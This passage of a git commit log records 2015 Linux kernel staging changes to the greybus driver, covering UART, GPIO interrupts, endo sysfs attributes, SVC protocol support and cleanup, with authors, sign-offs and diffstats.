gb_manifest_parse_cports(). - Use "an interface," not "a interface," and don't capitalize. - Delete some braces when getting interface product string. - A few other minor changes to comments and white space. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 32 +++++++++++++++----------------- 1 file changed, 15 insertions(+), 17 deletions(-) commit 79dda60987bc8df963c910bbcbfd9dc11bfada03 Author: Alex Elder Date: Tue Jun 9 17:42:52 2015 -0500 greybus: endo: clean up id assignment code Recently code was added (back) to assign a unique id to each endo, so satisfy uniqueness requirements of the Linux device subsystem. An ID allocator is used to manage the space of IDs. Now that we have gb_endo_init(), we can initialize the map there, and fully hide the ID map within "endo.c". The original functions gb_endo_id_alloc() and gb_endo_id_free() provided a nice abstract interface, but the direct ID allocation calls are quite simple, so just call them directly. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 2 -- drivers/staging/greybus/endo.c | 41 +++++++---------------------------------- drivers/staging/greybus/endo.h | 2 -- 3 files changed, 7 insertions(+), 38 deletions(-) commit f35ab903ef6dad781a3de25ab37850499d2a39d4 Author: Alex Elder Date: Tue Jun 9 17:42:51 2015 -0500 greybus: endo: define endo_init() and endo_exit() Define init and exit functions to do one-time setup and teardown of endo-related functionality. Currently they're place holders; the next patch will populate them. Note that we now call gb_operation_exit() from gb_init(), so we can no longer mark that function with __exit. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 16 ++++++++++++---- drivers/staging/greybus/endo.c | 8 ++++++++ drivers/staging/greybus/endo.h | 3 +++ drivers/staging/greybus/operation.c | 2 +- drivers/staging/greybus/operation.h | 2 +- 5 files changed, 25 insertions(+), 6 deletions(-) commit 47ed2c92406f94ac0f122ebf0e05fc63d3f0c02a Author: Alex Elder Date: Tue Jun 9 17:42:50 2015 -0500 greybus: tag core init and exit functions The top-level functions gb_init() and gb_exit() are tagged with __init and __exit, respectively. These functions call a few other functions that are similarly used only at initialization and termination time. So mark those functions accordingly. Note that, because gb_ap_exit() and gb_debugfs_cleanup() are called by gb_init() in error paths, these functions cannot be declared with the __exit attribute. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 2 +- drivers/staging/greybus/debugfs.c | 2 +- drivers/staging/greybus/greybus.h | 4 ++-- drivers/staging/greybus/operation.c | 4 ++-- drivers/staging/greybus/operation.h | 4 ++-- 5 files changed, 8 insertions(+), 8 deletions(-) commit 190241a362480e193e7b5f7a9fd9ff492c4acb31 Author: Alex Elder Date: Tue Jun 9 17:42:49 2015 -0500 greybus: drop some unnecessary headers There's no need to include anything other than "greybus.h" in "connection.c". Same thing in "core.c" and "manifest.c" and "svc.c". Some files need headers included, but most come along with "greybus.h". Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 3 --- drivers/staging/greybus/core.c | 7 ------- drivers/staging/greybus/es1.c | 5 ----- drivers/staging/greybus/es2.c | 5 ----- drivers/staging/greybus/manifest.c | 2 -- drivers/staging/greybus/svc.c | 5 ----- 6 files changed, 27 deletions(-) commit 45f427a02ecee25885542ad1e449b1ae72b85a53 Author: Mark Greer Date: Tue Jun 9 15:29:35 2015 -0700 greybus: gb-audio: Reset sample count when CPort deactivated The sample count placed in Greybus I2S audio messages should be reset every time a new audio stream is set up. However, the current code does not do the reset so make it so it does. Signed-off-by: Mark Greer Acked-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio-pcm.c | 1 + 1 file changed, 1 insertion(+) commit cce310367603f8a91be0078bb6ddef2fecaf64ad Author: Greg Kroah-Hartman Date: Tue Jun 9 13:47:48 2015 -0700 greybus: es?: decrease buffer size to 2k The firmware is having a hard time with 4k buffers and memory allocation, so decrease the size on the host side to 2k. Also move away from using PAGE_SIZE to denote 4k as that's not the case on all architectures, and someone, someday, might get a rude surprise. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 2 +- drivers/staging/greybus/es2.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 61b65a394cdbf5ed9117ad0da184a3f90a9b914a Author: Phong Tran Date: Tue Jun 9 20:28:18 2015 +0700 greybus: uart: remove the redundant unregister chrdev The unregister_chrdev_region() does twice here. The chrdev region was unregistered inside tty_unregister_driver(). Signed-off-by: Phong Tran Reviewed-by: Alex Elder Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 4 ---- 1 file changed, 4 deletions(-) commit f2e2b06fefe448de14cc009f865d879a8c334f4d Author: Phong Tran Date: Tue Jun 9 20:28:17 2015 +0700 greybus: endo: move endo id map declaration to endo.h There is a sparse warning. The endo id map is also used in endo.c. Should define in endo.h Signed-off-by: Phong Tran Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 2 -- drivers/staging/greybus/endo.h | 1 + 2 files changed, 1 insertion(+), 2 deletions(-) commit 928f2abd5ff12fa4851b762df7c32e749e846b7c Author: Viresh Kumar Date: Thu Jun 4 18:16:45 2015 +0530 greybus: Tear down devices in the reverse order Normally, its a good practice to free resources in the reverse order in which they are allocated, so that all the dependencies can be sorted out properly. This is true while creating/destroying devices as well. For example consider this scenario (I faced a crash with control protocol due to this). For a new module, we will first create a bundle+connection for the control cport and then create other bundles/connections after parsing manifest. And while destroying interface on module hot unplug, we are removing the devices in the order they are added. And so the bundle/connection for the control cport are destroyed first. But, control cport was still required while destroying other bundles/connections. To solve this problem, lets destroy the resources in the reverse order in which they are added. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 2 +- drivers/staging/greybus/connection.c | 4 ++-- drivers/staging/greybus/interface.c | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) commit d51c0ffb5cd1e92884e847f2cac6935c6d866779 Author: Alex Elder Date: Mon Jun 8 12:05:14 2015 -0500 greybus: manifest: clean up a few pr_err() calls Provide a little more information in two pr_err() calls. Also enclose a reported condition in parentheses, to match the style used everywhere else in the file. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit fd1c2e541cbc48fe4a49e9fe1e98fd02af4bcf84 Author: Alex Elder Date: Mon Jun 8 12:05:13 2015 -0500 greybus: core: rename greybus_deregister() Rename greybus_deregister() to be greybus_deregister_driver(), so its name mirrors the greybus_register_driver() function it matches. Define greybus_deregister() to be a trivial macro. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 4 ++-- drivers/staging/greybus/greybus.h | 4 +++- 2 files changed, 5 insertions(+), 3 deletions(-) commit 81c3a77207450cb4187e8af700797e7d3209a568 Author: Alex Elder Date: Mon Jun 8 12:05:12 2015 -0500 greybus: uart: properly interpret receive data size In gb_uart_request_recv(), the receive data size is in little-endian format. Do the proper byte swapping of that value before using it. Found by "make check". Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 8bd0ae6e7295a06f8e64dcca1a91bb14ca6c07b0 Author: Alex Elder Date: Mon Jun 8 12:05:11 2015 -0500 greybus: connection: make gb_connection_hd_find() private Give gb_connection_hd_find() static scope; it's never used outside "connection.c". Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 4 ++-- drivers/staging/greybus/connection.h | 3 --- 2 files changed, 2 insertions(+), 5 deletions(-) commit 0dac67c84c4d1e4d2ab510cbe7fafb9bac7002ea Author: Alex Elder Date: Mon Jun 8 12:05:10 2015 -0500 greybus: svc: driver is basic to Greybus (not GP Bridge) The SVC protocol driver should have been defined as a basic Greybus protocol driver, not a GP Bridge protocol driver. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cf6b62d904f184fd13dbba56d77e9a8fbf98eda7 Author: Viresh Kumar Date: Sun Jun 7 09:13:16 2015 +0530 greybus: Prefix module-id with endo id Prefix module-id with endo-id to uniquely identify it for the entire kernel. Reviewed-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/module.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4a0418700871936cddec3a2b3c5a029ec0b2d6a3 Author: Viresh Kumar Date: Sun Jun 7 09:13:15 2015 +0530 greybus: Generate greybus wide unique ids for endo devices Currently we name the endo device as "endo". And it shows up with the same name in sysfs directory: /sys/bus/greybus/devices/. But each device in kernel should be represented by a unique id in kernel, and "endo" isn't unique. Lets generate unique ids for endo devices. The ida mechanism for allocating ids may be overkill but it works. Reviewed-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 4 ++++ drivers/staging/greybus/endo.c | 39 ++++++++++++++++++++++++++++++++++++++- drivers/staging/greybus/endo.h | 1 + 3 files changed, 43 insertions(+), 1 deletion(-) commit d7353ceadaf96a60b4163177ec9f8202655f1ace Author: Viresh Kumar Date: Thu Jun 4 10:18:01 2015 +0530 greybus: s/bundle_cport_id/intf_cport_id This isn't unique just for the bundle but the complete interface. Its wrong to call it bundle_cport_id. Lets name it intf_cport_id to make things clear. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio-pcm.c | 4 ++-- drivers/staging/greybus/connection.c | 2 +- drivers/staging/greybus/connection.h | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) commit 4cfabf09dbcbd1ca44567542247925f02f71e656 Author: Viresh Kumar Date: Thu Jun 4 09:58:21 2015 +0530 greybus: operation: Remove unused variable 'buffer' 'buffer' isn't used in this function, remove it. Reviewed-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 2 -- 1 file changed, 2 deletions(-) commit 62229a1bda8abdc54dabada79798885f4f2da79c Author: Bryan O'Donoghue Date: Tue Jun 2 13:40:51 2015 +0100 greybus: uart: Remove magic numbers make struct gb_tty variable names consistent Use defines for the data format command. Tidy up naming of gb_tty variables. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit 1c087015b9ee80829a6e34e36715c668493eb607 Author: Bryan O'Donoghue Date: Tue Jun 2 13:40:50 2015 +0100 greybus: uart: Add gb_uart_request_recv for receiving async UART data gb_uart_request_recv job in life is to process unsolicited greybus mesages from the UART. Hook the incoming UART data and pass to the TTY layer. Line-state changes still TBD. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 43 +++++++++++++++++++++++++++++++++++++++++- 1 file changed, 42 insertions(+), 1 deletion(-) commit dd1c64ede97f163e5ab2fdebfe3f4095f4638120 Author: Bryan O'Donoghue Date: Tue Jun 2 13:40:49 2015 +0100 greybus: uart: kmalloc for send_data once only Make kmalloc for the send buffer a one time alloc based on the MTU for a given greybus link. The write_room for an gb_operation_sync then will be the size of the buffer we use for a single operation. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 33 ++++++++++++++++++++++----------- 1 file changed, 22 insertions(+), 11 deletions(-) commit 563bd79b2ddd12dd9da89635dc218d6c706a4130 Author: Bryan O'Donoghue Date: Tue Jun 2 13:40:48 2015 +0100 greybus: uart: send_data should return size or error gb_operation_sync returns 0 on success but the calling function expects the number of bytes written on success or a negative errno Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) commit f95ad78c72e72bcc922e75b80b35c6e9549b9d72 Author: Bryan O'Donoghue Date: Tue Jun 2 13:40:47 2015 +0100 greybus: uart: Update uart.c to register tty ports For each new UART connection we need to do a tty_port_init else we'll crash when trying to access the tty mutex later on. Base the TTY major/minor numbers on non-zero values. Supply an empty operations structure for the newly regitered port. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit f5537d46cb2e062ca4a67ac86168b2bff9895615 Author: Bryan O'Donoghue Date: Tue Jun 2 13:40:46 2015 +0100 greybus: uart: Reduce UART count from 255 to 16 Arbitrary number 255 is both not aligned and probably too big. Move the UART count down to 16 which is still large but, more realistic. 8 may be too few for future testing setups, 16 should accomodate any. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 11fca140c92555f299808968061e81deb7c11821 Author: Bryan O'Donoghue Date: Tue Jun 2 13:40:45 2015 +0100 greybus: uart: Tidy naming convention to more closely match spec Update tabs and naming of structures to match the naming used in the greybus specification more closely. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 51 +++++++++++++++-------------- drivers/staging/greybus/uart.c | 24 +++++++++----- 2 files changed, 42 insertions(+), 33 deletions(-) commit 4ef53485c3d2d7a36c163c0409c8e3eb324a70d4 Author: Bryan O'Donoghue Date: Tue Jun 2 13:40:44 2015 +0100 greybus: uart: Move UART protocol structs/defines to greybus_protocols.h gbsim depends on the structures and defines in greybus_protocols.h generally in order to simulate firmware. Move UART defines into this header to facilitate. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 69 +++++++++++++++++++++++++++++ drivers/staging/greybus/uart.c | 66 --------------------------- 2 files changed, 69 insertions(+), 66 deletions(-) commit 55f2291142efa42acab362bf71b52e03bd275a42 Author: Phong Tran Date: Mon Jun 1 22:19:45 2015 +0700 greybus: uart: Fix the memory leak in connection init If alloc minor is error, gb_tty should free. Signed-off-by: Phong Tran Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 3cb494cd6c5d3ca1c381553f5379ca9577f8e871 Author: Viresh Kumar Date: Mon Jun 1 17:43:36 2015 +0530 greybus: endo: Add missing '\n' sprintf() for sysfs files Because of the missing '\n', this is how the output of reading endo sysfs files looks: root# cat /sys/bus/greybus/devices/endo/id 0x4755root# Fix it by including \n to the end of the printed string. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/endo.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 7ba864a19f97f06b0a685b083449b7278b635823 Author: Johan Hovold Date: Thu May 28 19:03:34 2015 +0200 greybus: gpio: add irq-type defines Add Greybus GPIO IRQ-type defines rather than rely on the current Linux implementation. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 14 +++++++++++++- drivers/staging/greybus/greybus_protocols.h | 7 +++++++ 2 files changed, 20 insertions(+), 1 deletion(-) commit 4bf3780982bde534d931ae77a0a6d46335c488ab Author: Johan Hovold Date: Thu May 28 19:03:33 2015 +0200 greybus: gpio: remove unused debounce define Remove unused debounce define from protocol header. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 2 -- 1 file changed, 2 deletions(-) commit e6cebf8770472f0cd8ac8dd887316164822228a6 Author: Alex Elder Date: Wed May 27 11:17:53 2015 -0500 greybus: endo: delete "0xXXXX" portion in sysfs "endo" directory With the Endo "id" attribute in place, there's no need to encode the ID of an Endo in its sysfs path. So get rid of it. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs-bus-greybus | 16 ++++++++-------- .../sysfs/endo-TYPE/01/01/01/gpbridge00/gpio/.gitignore | 1 - .../sysfs/endo-TYPE/01/01/01/gpbridge00/i2c/.gitignore | 1 - .../sysfs/endo-TYPE/01/01/01/gpbridge00/usb/.gitignore | 1 - .../greybus/Documentation/sysfs/endo-TYPE/01/01/firmware | 0 .../greybus/Documentation/sysfs/endo-TYPE/01/01/manifest | 0 .../Documentation/sysfs/endo-TYPE/01/01/product_id | 0 .../Documentation/sysfs/endo-TYPE/01/01/product_name | 0 .../greybus/Documentation/sysfs/endo-TYPE/01/01/state | 0 .../greybus/Documentation/sysfs/endo-TYPE/01/01/uid | 0 .../Documentation/sysfs/endo-TYPE/01/01/version_major | 0 .../Documentation/sysfs/endo-TYPE/01/01/version_minor | 0 .../staging/greybus/Documentation/sysfs/endo-TYPE/01/epm | 0 .../greybus/Documentation/sysfs/endo-TYPE/01/power | 0 .../greybus/Documentation/sysfs/endo-TYPE/01/present | 0 .../greybus/Documentation/sysfs/endo-TYPE/02/.gitignore | 1 - .../greybus/Documentation/sysfs/endo-TYPE/ap_intf_id | 0 drivers/staging/greybus/Documentation/sysfs/endo-TYPE/id | 0 .../greybus/Documentation/sysfs/endo-TYPE/svc/firmware | 0 .../Documentation/sysfs/endo-TYPE/svc/serial_number | 0 .../greybus/Documentation/sysfs/endo-TYPE/svc/version | 0 .../sysfs/endo/01/01/01/01/gpbridge00/gpio/.gitignore | 1 + .../sysfs/endo/01/01/01/01/gpbridge00/i2c/.gitignore | 1 + .../sysfs/endo/01/01/01/01/gpbridge00/usb/.gitignore | 1 + .../greybus/Documentation/sysfs/endo/01/01/firmware | 0 .../greybus/Documentation/sysfs/endo/01/01/manifest | 0 .../greybus/Documentation/sysfs/endo/01/01/product_id | 0 .../greybus/Documentation/sysfs/endo/01/01/product_name | 0 .../staging/greybus/Documentation/sysfs/endo/01/01/state | 0 .../staging/greybus/Documentation/sysfs/endo/01/01/uid | 0 .../greybus/Documentation/sysfs/endo/01/01/version_major | 0 .../greybus/Documentation/sysfs/endo/01/01/version_minor | 0 drivers/staging/greybus/Documentation/sysfs/endo/01/epm | 0 .../staging/greybus/Documentation/sysfs/endo/01/power | 0 .../staging/greybus/Documentation/sysfs/endo/01/present | 0 .../greybus/Documentation/sysfs/endo/02/02/.gitignore | 1 + .../staging/greybus/Documentation/sysfs/endo/ap_intf_id | 0 drivers/staging/greybus/Documentation/sysfs/endo/id | 0 .../greybus/Documentation/sysfs/endo/svc/svc/firmware | 0 .../Documentation/sysfs/endo/svc/svc/serial_number | 0 .../greybus/Documentation/sysfs/endo/svc/svc/version | 0 drivers/staging/greybus/endo.c | 2 +- 42 files changed, 13 insertions(+), 13 deletions(-) commit 312bb84942cb6707cf9b3933a6c74cbe5e9ed037 Author: Alex Elder Date: Wed May 27 11:17:52 2015 -0500 greybus: endo: drop redundant prefixes from sysfs basenames This commit: 7e761e2 endo: rework some attributes added a new "endo_id" attribute, located under a new "Endo" directory in sysfs. The resulting path looks like: Documentation/sysfs/endo-TYPE/Endo/endo_id There's no need to have a separate "Endo" subdirectory to contain Endo-specific attributes. That commit also added "svc_" to some other paths related to the SVC, like: Documentation/sysfs/endo-TYPE/SVC/svc_version The additional "svc_" is redundant. This patch retouches those paths a bit, mainly to remove some redundancy. It also makes the pathname components all lower case. As a result, the above two paths now look like: Documentation/sysfs/endo-TYPE/id Documentation/sysfs/endo-TYPE/svc/version All other Endo sysfs files are updated similarly. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../staging/greybus/Documentation/sysfs-bus-greybus | 8 ++++---- .../Documentation/sysfs/endo-TYPE/Endo/ap_intf_id | 0 .../Documentation/sysfs/endo-TYPE/Endo/endo_id | 0 .../Documentation/sysfs/endo-TYPE/SVC/firmware | 0 .../Documentation/sysfs/endo-TYPE/SVC/serial_number | 0 .../Documentation/sysfs/endo-TYPE/SVC/version | 0 .../Documentation/sysfs/endo-TYPE/ap_intf_id | 0 .../greybus/Documentation/sysfs/endo-TYPE/id | 0 .../Documentation/sysfs/endo-TYPE/svc/firmware | 0 .../Documentation/sysfs/endo-TYPE/svc/serial_number | 0 .../Documentation/sysfs/endo-TYPE/svc/version | 0 drivers/staging/greybus/endo.c | 21 ++++++++++----------- 12 files changed, 14 insertions(+), 15 deletions(-) commit 28e3cedcceecb62ecbc77a35eda3875bbe981f1b Author: Alex Elder Date: Wed May 27 11:17:51 2015 -0500 greybus: update sysfs documentation files Impose a few editorial conventions on the Greybus-related sysfs files under "Documentation". - Capitalize "Endo" (except in path names) - Capitalize "ID" (except in path names) - Use "..." to indicate unspecified path components (because ".." means something else). - Add the "0x" prior to the "XXXX" representing the Endo ID. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../staging/greybus/Documentation/sysfs-bus-greybus | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit b4dbf1e13268e5a7d88e8bdc4d4d0c481f8f53e7 Author: Alex Elder Date: Wed May 27 11:17:50 2015 -0500 greybus: add documentation for Endo sysfs files Update the files documenting Greybus-related sysfs files under Documentation/ to reflect the addition of the two recently-added Endo attributes. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../staging/greybus/Documentation/sysfs-bus-greybus | 19 +++++++++++++++++++ .../Documentation/sysfs/endo-TYPE/Endo/ap_intf_id | 0 .../Documentation/sysfs/endo-TYPE/Endo/endo_id | 0 3 files changed, 19 insertions(+) commit df76422113b0a80198bccf1a3d2515afe00db736 Author: Phong Tran Date: Thu May 28 23:21:01 2015 +0700 greybus: audio: Remove the MODULE_LICENSE() This is not a kernel module. It should not use the module license macro. Signed-off-by: Phong Tran Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio.c | 3 --- 1 file changed, 3 deletions(-) commit bcd8215b49b08194ee6e2968106ac5a14825b689 Author: Phong Tran Date: Thu May 28 23:21:00 2015 +0700 greybus: audio: Fix typo for macro I2S data version minor This macro should be DATA not MGMT. Signed-off-by: Phong Tran Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio-gb-cmds.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 012d7d4fbeb2b261c679f58e39b31657ffb0191d Author: Alex Elder Date: Wed May 27 14:45:58 2015 -0500 greybus: greybus_protocols: fix guard tag I neglected to update the "#ifndef/#define" when I renamed "greybus_protocols.h". Fix that. Signed-off-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 47bf0b44275eaf4659f99b1ddde5da85018aaf46 Author: Johan Hovold Date: Wed May 27 12:45:07 2015 +0200 greybus: gpio: update operation types Update the remaining operation types now that the ack operation is gone to avoid leaving a hole in the type definitions. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 23bd25a798ca756954c685ce84a65434a36f09a3 Merge: b61fa7b 1409c4d Author: Greg Kroah-Hartman Date: Thu May 28 14:02:02 2015 -0700 greybus: Merge branch 'master' of github.com:gregkh/greybus commit b61fa7bce4acdae51e5b76c358237d1ad5dfdbc5 Author: Phong Tran Date: Wed May 27 21:31:03 2015 +0700 greybus: svc: use macro for init and exit protocol Change to gb_gpbridge_protocol_driver for making the consitent with other drivers. Signed-off-by: Phong Tran Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) commit ea15a40b32dcc068a2af406ba894e2179c315469 Author: Phong Tran Date: Wed May 27 21:31:02 2015 +0700 greybus: svc: Fix endian of hotplug request data data of hotplug request should exchange to native CPU format before assignment. Signed-off-by: Phong Tran Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 1409c4d6a841b00f3b4bdf010808a81eda6b7727 Author: Johan Hovold Date: Tue May 26 15:29:25 2015 +0200 greybus: gpio: fix interrupt protocol The current interrupt implementation uses the simple irq-flow handler, which means that the interrupt subsystem makes no irq-chip callbacks when handling an interrupt. Specifically, no end-of-interrupt message is sent when the threaded handler has run. This means that we may currently re-enable an interrupt before it has been serviced (i.e. the irq-event operation may complete before the threaded handler has run). The simple flow handler also silently drops a second interrupt arriving while a handler is running. This means that we may lose a second edge interrupt with the current firmware. Switch to a new one-shot interrupt protocol, where the primary handler (firmware) always masks and acks an interrupt before sending an event to the AP. The AP is responsible for unmasking the interrupt when it has been handled. By having the firmware ack an edge interrupt before sending the event, a second edge interrupt will no longer get lost. This one-shot protocol can be implemented in the kernel by using the level irq-flow handler, one-shot interrupts with threaded handlers and bus-lock synchronisation for slow buses. Note that the same flow handler is used for both edge and level interrupts. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 2 +- drivers/staging/greybus/greybus_protocols.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 25f11ed965bb57b6e25d5464a8cd8b3657319056 Author: Johan Hovold Date: Tue May 26 15:29:24 2015 +0200 greybus: gpio: fix atomic sleep when using interrupts The irq-chip callbacks are made in atomic context where we must not do any synchronous greybus operations. Fix the current gpio-interrupt implementation by using the bus-lock functionality provided by the irq subsystem. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 115 ++++++++++++++++++++++++++++++++--------- 1 file changed, 90 insertions(+), 25 deletions(-) commit 0cb918d72d8f76b1189a63cefedbc5cb4dad9d54 Author: Johan Hovold Date: Tue May 26 15:29:23 2015 +0200 greybus: gpio: rename irq mask and unmask callbacks Rename irq mask and unmask functions to match the callback names. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit ec762115a5006db8549b3582f7f19849f7cf4ab4 Author: Johan Hovold Date: Tue May 26 15:29:22 2015 +0200 greybus: gpio: use irq-domain lookups Use irq_find_mapping directly rather than go through the legacy gpio interface. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 2611ebef8322fc12dc3c6b0ec869f1902aa25626 Author: Johan Hovold Date: Tue May 26 15:29:21 2015 +0200 greybus: gpio: don't call irq-flow handler directly Use generic_handle_irq_desc rather than call a hardcoded irq-flow handler directly. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit b8e3ffebac09b29ad4cc0bdbcafbbd77b3278685 Author: Johan Hovold Date: Tue May 26 15:29:20 2015 +0200 greybus: gpio: remove unused irq-ack operation Remove unused irq-ack operation, which has never been called and does not make sense for message-signalled interrupts over slow buses. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 16 ---------------- drivers/staging/greybus/greybus_protocols.h | 6 ------ 2 files changed, 22 deletions(-) commit c8d1ad8013681eeb2dc8dac405db3b95284adc1d Author: Johan Hovold Date: Tue May 26 15:29:19 2015 +0200 greybus: gpio: fix debugfs output Fix debugfs output by removing the unimplemented, custom dbg_show callback. The default implementation is perfectly sufficient. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 6 ------ 1 file changed, 6 deletions(-) commit 1d771fe41e629fad9077a0a1a9cf2771c9a5287d Author: Johan Hovold Date: Tue May 26 15:29:18 2015 +0200 greybus: operation: add support for incoming unidirectional operations Add support for incoming, unidirectional operations where the sender of a request does not care about a response. Unidirectional operations have an operation id of 0. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 4 ++++ 1 file changed, 4 insertions(+) commit d67a39ab38118b0d5ddfd45626d60088fa9a0021 Merge: d52b35f 30c6d9d Author: Greg Kroah-Hartman Date: Tue May 26 08:39:33 2015 -0700 greybus: Merge branch 'master' of github.com:gregkh/greybus commit 30c6d9d753724bc616ee1e2ca5cadc03747b8b07 Author: Alex Elder Date: Fri May 22 13:02:08 2015 -0500 greybus: introduce SVC protocol This patch adds support for the Greybus SVC protocol. We may want to rearrange protocol numbers at some point, since this is a pretty fundamental protocol. Note: It has only been compile tested; no SVC CPorts have yet been defined, so this code is not yet exercised. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 + drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/greybus_manifest.h | 1 + drivers/staging/greybus/greybus_protocols.h | 57 +++++++ drivers/staging/greybus/svc.c | 256 ++++++++++++++++++++++++++++ drivers/staging/greybus/svc.h | 22 +++ 6 files changed, 339 insertions(+) commit 4441f4759cfdf12840999676d2428a56f6248d8e Author: Alex Elder Date: Fri May 22 12:59:16 2015 -0500 greybus: update copyrights Update the copyright statements for recently-modified source files. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 4 ++-- drivers/staging/greybus/endo.c | 4 ++-- drivers/staging/greybus/endo.h | 1 + drivers/staging/greybus/es1.c | 6 +++--- drivers/staging/greybus/greybus.h | 4 ++-- 